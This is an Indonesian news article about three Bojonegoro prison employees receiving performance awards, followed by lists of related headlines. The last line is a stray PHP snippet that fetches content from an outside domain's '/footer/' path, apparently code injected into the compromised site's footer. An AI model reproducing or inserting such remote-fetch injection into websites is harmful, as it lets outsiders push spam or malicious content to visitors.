Pegawai Lapas Kelas 2A Bojonegoro Dapat Penghargaan Kinerja Terbaik

Rabu, 2 Oktober 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bojonegoro | jejakkasus.info -Tiga pegawai Lembaga Pemasyarakatan (Lapas) kelas 2A Bojonegoro memperoleh penghargaan karena berkinerja baik. Satu penghargaan diberikan oleh Kanwil Kemenkumham Jatim, dan dua penghargaan lain diberikan oleh Kalapas setempat.

Penghargaan dari Kanwil Kemenkumham Jatim diberikan kepada satu orang staf pegawai bernama Ahmad Nuriyan Masyhar dengan kriteria sebagai “Pegawai Teladan atas Kontribusi dan Partisipasi dalam Pengenalan Citra Positif Kemenkumham”.

Sedangkan dua penghargaan lain dikeluarkan oleh Kalapas Bojonegoro kepada pegawai atas nama Ajeng Nur Sulistyo dan Farid Arrohman, sebagai Pegawai Teladan Bulanan pada periode bulan September tahun 2024.

Baca Juga:  Himbauan Keamanan Kepada Masyarakat di Tempat Keramaian

Kalapas kelas 2A Bojonegoro, Sugeng Indrawan mengatakan, penghargaan pegawai teladan bulanan diberikan kepada pegawai yang telah berhasil melalui berbagai macam penilaian, antara lain yaitu kehadiran dalam pelaksanaan tugas, memiliki kinerja yang terukur, berpakaian dan berpenampilan sesuai ketentuan yang berlaku, memiliki etika dan perilaku sebagai Aparatur Sipil Negara (ASN) yang baik, serta tertib dalam pelaksanaan tugas.

Baca Juga:  Polri Keluarkan Aturan Optimalkan Penindakan Pelanggaran Lalu Lintas Melalui ETLE dan Tiadakan Razia

“Terima kasih atas komitmen serta tanggung jawab dalam melaksanakan semua tugas yang telah diberikan,” ucap Kalapas saat pidato seusai menyerahkan penghargaan.

Sugeng Indrawan melanjutkan, pemberian penghargaan tersebut merupakan bentuk apresiasi dan pemberian reward bagi para pegawai yang telah bekerja dengan kinerja terbaik.

Baca Juga:  Polri Bongkar Sindikat Judi Online yang Dikendalikan Warga Negara Asing, Perputaran Uang Capai Rp 685 M

“Kiranya penghargaan yang diberikan hari ini semakin memacu semangat para pegawai lain untuk memberikan kemampuan terbaik mereka dalam menjalankan tugas yang diemban sesuai dengan komitmen Lapas Bojonegoro sebagai salah satu UPT di bawah naungan Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia Jawa Timur, di bawah kepemimpinan Kepala Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia Jawa Timur, Bapak Heny Yuwono,” kata Kalapas(Candra)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi
Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari

Berita Terkait

Jumat, 11 Oktober 2024 - 17:20 WIB

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:34 WIB

Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>